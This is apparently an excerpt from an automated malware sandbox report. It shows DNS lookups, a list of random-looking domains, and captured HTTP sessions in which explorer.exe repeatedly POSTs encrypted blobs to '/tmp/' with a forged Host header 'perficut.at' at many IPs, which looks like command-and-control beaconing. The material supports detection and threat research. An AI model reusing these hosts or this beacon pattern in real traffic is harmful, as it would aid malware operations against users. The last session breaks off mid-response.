Feb 16, 2023 10:02:40.613774061 CET	8.8.8.8	192.168.2.4	0x1e92	No error (0)	www.findbc.com		76.223.65.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.669660091 CET	8.8.8.8	192.168.2.4	0x34b	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.703352928 CET	8.8.8.8	192.168.2.4	0x13fe	No error (0)	www.netcr.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.703352928 CET	8.8.8.8	192.168.2.4	0x13fe	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.703352928 CET	8.8.8.8	192.168.2.4	0x13fe	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.703352928 CET	8.8.8.8	192.168.2.4	0x13fe	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.743856907 CET	8.8.8.8	192.168.2.4	0xdf30	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.743856907 CET	8.8.8.8	192.168.2.4	0xdf30	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.764415026 CET	8.8.8.8	192.168.2.4	0xad27	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.005178928 CET	8.8.8.8	192.168.2.4	0xcef5	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.219053984 CET	8.8.8.8	192.168.2.4	0x87a8	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:41.219053984 CET	8.8.8.8	192.168.2.4	0x87a8	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:41.219053984 CET	8.8.8.8	192.168.2.4	0x87a8	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.222421885 CET	8.8.8.8	192.168.2.4	0x9347	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.222421885 CET	8.8.8.8	192.168.2.4	0x9347	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.659065008 CET	8.8.8.8	192.168.2.4	0xb53d	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:41.659065008 CET	8.8.8.8	192.168.2.4	0xb53d	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:41.659065008 CET	8.8.8.8	192.168.2.4	0xb53d	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.92	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.659065008 CET	8.8.8.8	192.168.2.4	0xb53d	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.72	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.659065008 CET	8.8.8.8	192.168.2.4	0xb53d	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.39	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.659065008 CET	8.8.8.8	192.168.2.4	0xb53d	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.93	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.726090908 CET	8.8.8.8	192.168.2.4	0x64c4	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.828650951 CET	8.8.8.8	192.168.2.4	0xcbfb	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:41.828650951 CET	8.8.8.8	192.168.2.4	0xcbfb	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.936611891 CET	8.8.8.8	192.168.2.4	0x8508	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.072453976 CET	8.8.8.8	192.168.2.4	0x610f	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.426213980 CET	8.8.8.8	192.168.2.4	0x2f52	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.437727928 CET	8.8.8.8	192.168.2.4	0xe02a	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.452557087 CET	8.8.8.8	192.168.2.4	0xe02a	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.590475082 CET	8.8.8.8	192.168.2.4	0xe6c9	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:43.491755962 CET	8.8.8.8	192.168.2.4	0x2ca6	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:44.513942957 CET	8.8.8.8	192.168.2.4	0x50e	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:44.513942957 CET	8.8.8.8	192.168.2.4	0x50e	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:44.513942957 CET	8.8.8.8	192.168.2.4	0x50e	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:44.513942957 CET	8.8.8.8	192.168.2.4	0x50e	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:44.513942957 CET	8.8.8.8	192.168.2.4	0x50e	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:44.864196062 CET	8.8.8.8	192.168.2.4	0x2e08	No error (0)	www.myropcb.com		74.208.215.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:45.951447010 CET	8.8.8.8	192.168.2.4	0xfd6a	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:46.161972046 CET	8.8.8.8	192.168.2.4	0x73b0	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beg.com.ve

qdbxyimc.org

perficut.at

veixmsu.net

jvhoh.net

23.106.124.133

aoeqn.org

siulsd.net

lqltevimc.net

sgnfxmtkcw.org

umdvbbuaa.net

riybbhupmm.org

gdvoqldu.com

seqblmmn.org

mpjgg.net

efigljst.com

txevgnox.net

uesvypdni.net

yqfpriai.com

teuxj.org

nxsgippqjj.com

mijclcs.org

hayinaaqbg.org

rtyhk.com

gdqcqltc.com

bgweyxmmy.org

wxnglcyu.net

ldkleqhxq.com

hhrmw.net

aatjhmvt.com

gtemghry.com

ypyiei.com

h167471.srv11.test-hf.su

cdqmtwa.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49704	190.114.9.88	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49695	175.126.109.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:16.393764973 CET	92	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qdbxyimc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 314 Host: perficut.at
Feb 16, 2023 10:01:16.393896103 CET	92	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 47 4f b0 e6 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA .[k,vuGOaPSkHzlW%o(rsA$@Llc'PJd1"R`=Nk.]X64:58G{Dgy;[gJ=,m
Feb 16, 2023 10:01:17.570933104 CET	92	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:16 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 86 ea Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49705	211.104.254.139	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:42.096292973 CET	4629	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://riybbhupmm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 263 Host: perficut.at
Feb 16, 2023 10:01:42.096365929 CET	4629	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 0f 6b 2c 90 f4 76 0b 75 47 55 fd 81 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA ,[k,vuGUzNSCT$MM20qOM;G:1PzP!B,r]\|^vno;1!w[lgMj@d+^F5+
Feb 16, 2023 10:01:43.331156015 CET	4630	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49706	187.212.182.57	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:43.957303047 CET	4631	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gdvoqldu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: perficut.at
Feb 16, 2023 10:01:43.970172882 CET	4631	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 45 51 e3 b7 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuEQi4oI&J`IE~oHsEGI3i,,DuTy'W`%#'g.fm`XVXTa?M":6s
Feb 16, 2023 10:01:44.758560896 CET	4632	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49707	123.140.161.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:45.645061970 CET	4633	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://seqblmmn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 115 Host: perficut.at
Feb 16, 2023 10:01:45.646595001 CET	4633	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 71 42 b0 86 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuqB_SW}9-R% 1bV/
Feb 16, 2023 10:01:46.970738888 CET	4634	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49708	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:48.183792114 CET	4635	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mpjgg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: perficut.at
Feb 16, 2023 10:01:48.183873892 CET	4635	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 48 5e eb b5 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuH^Mpvv%wZ(/I
Feb 16, 2023 10:01:49.404561996 CET	4636	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49709	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:49.806051016 CET	4637	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://efigljst.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: perficut.at
Feb 16, 2023 10:01:49.806124926 CET	4637	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 22 5b e6 ff Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vu"[_eGr#z{(O%6@\|26%wc2+rTIOs2;4G,+
Feb 16, 2023 10:01:51.015386105 CET	4637	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49710	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:51.678270102 CET	4638	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://txevgnox.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 254 Host: perficut.at
Feb 16, 2023 10:01:51.678340912 CET	4639	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 6e 3b b7 f6 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vun;q@Ib_S@Mx?pda<3C-G^@UC(K_!~Y Um2cm\vB@p%w@l%[cmP(
Feb 16, 2023 10:01:52.006392002 CET	4639	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not 